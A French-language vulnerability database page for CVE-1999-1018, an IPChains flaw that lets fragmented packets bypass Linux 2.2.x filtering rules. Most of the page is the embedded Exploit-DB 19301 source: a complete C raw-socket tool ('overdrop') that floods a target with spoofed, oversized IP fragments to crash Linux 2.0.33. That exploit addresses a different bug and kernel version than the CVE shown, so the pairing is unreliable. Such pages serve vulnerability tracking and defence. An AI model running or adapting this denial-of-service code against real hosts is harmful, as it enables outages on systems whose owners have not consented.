CVE-1999-1018 : Détail

CVE-1999-1018

4.11%V4
Network
2001-09-12
02h00 +00:00
2024-08-01
16h55 +00:00
CVE.org
NVD
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Descriptions du CVE

IPChains in Linux kernels 2.2.10 and earlier does not reassemble IP fragments before checking the header information, which allows a remote attacker to bypass the filtering rules using several fragments with 0 offsets.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 19301

Date de publication : 1998-04-16 22h00 +00:00
Auteur : Michal Zalewski
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/376/info Linux kernel 2.0.33 is vulnerable to a denial of service attack related to overlapping IP fragments. The bug is not in the handling of them itself, but the action taken when an oversized packet is recieved. A printk function is called containing a variable without any sort of wrapping or protection in function ip_glue. The consequences of this are a serious remote denial of service [ie, reboot of machine]. */ // overdrop by lcamtuf [Linux 2.0.33 printk abuse] // ------------------------------------------------ // based on (reaped from) teardrop by route|daemon9 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #define IP_MF 0x2000 #define IPH 0x14 #define UDPH 0x8 #define PADDING 0x1c #define MAGIC 0x3 #define COUNT 0xBEEF #define FRAG2 0xFFFF void usage(char *name) { fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ]\n",name); exit(0); } u_long name_resolve(char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr=inet_addr(host_name))==-1) { if (!(host_ent=gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length); } return (addr.s_addr); } void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt) { u_char *packet=NULL,*p_ptr=NULL; u_char byte; struct sockaddr_in sin; sin.sin_family=AF_INET; sin.sin_port=src_prt; sin.sin_addr.s_addr=dst_ip; packet=(u_char *)malloc(IPH+UDPH+PADDING); p_ptr=packet; bzero((u_char *)p_ptr,IPH+UDPH+PADDING); byte=0x45; memcpy(p_ptr,&byte,sizeof(u_char)); p_ptr+=2; *((u_short *)p_ptr)=htons(IPH+UDPH+PADDING); p_ptr+=2; *((u_short *)p_ptr)=htons(242); p_ptr+=2; *((u_short *)p_ptr)|=htons(IP_MF); p_ptr+=2; *((u_short *)p_ptr)=0x40; byte=IPPROTO_UDP; memcpy(p_ptr+1,&byte,sizeof(u_char)); p_ptr+=4; *((u_long *)p_ptr)=src_ip; p_ptr+=4; *((u_long *)p_ptr)=dst_ip; p_ptr+=4; *((u_short *)p_ptr)=htons(src_prt); p_ptr+=2; *((u_short *)p_ptr)=htons(dst_prt); p_ptr+=2; *((u_short *)p_ptr)=htons(8+PADDING); if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin, sizeof(struct sockaddr))==-1) { perror("\nsendto"); free(packet); exit(1); } p_ptr=&packet[2]; *((u_short *)p_ptr)=htons(IPH+MAGIC+1); p_ptr+=4; *((u_short *)p_ptr)=htons(FRAG2); if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin, sizeof(struct sockaddr))==-1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } int main(int argc, char **argv) { int one=1,count=0,i,rip_sock; u_long src_ip=0,dst_ip=0; u_short src_prt=0,dst_prt=0; struct in_addr addr; fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n"); if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) { perror("IP_HDRINCL"); exit(1); } if (argc < 2) usage(argv[0]); if (!(dst_ip=name_resolve(argv[1]))) { fprintf(stderr,"Can't resolve destination address.\n"); exit(1); } while ((i=getopt(argc,argv,"s:n:"))!=EOF) { switch (i) { case 'n': count = atoi(optarg); break; case 's': if (!(src_ip=name_resolve(optarg))) { fprintf(stderr,"Can't resolve source address.\n"); exit(1); } break; default: usage(argv[0]); break; } } srandom((unsigned)(time((time_t)0))); if (!count) count=COUNT; fprintf(stderr,"Sending oversized packets:\nFrom: "); if (!src_ip) fprintf(stderr," (random)"); else { addr.s_addr = src_ip; fprintf(stderr,"%15s",inet_ntoa(addr)); } addr.s_addr = dst_ip; fprintf(stderr,"\n To: %15s\n",inet_ntoa(addr)); fprintf(stderr," Amt: %5d\n",count); fprintf(stderr,"[ "); for (i=0;i<count;i++) { if (!src_ip) send_frags(rip_sock,rand(),dst_ip,rand(),rand()); else send_frags(rip_sock,src_ip,dst_ip,rand(),rand()); fprintf(stderr, "b00z "); usleep(500); } fprintf(stderr, "]\n"); return (0); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.2.10

Linux>>Linux_kernel >> Version 2.2.0

Références

http://www.securityfocus.com/bid/543
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=93312523904591&w=2
Tags : mailing-list, x_refsource_BUGTRAQ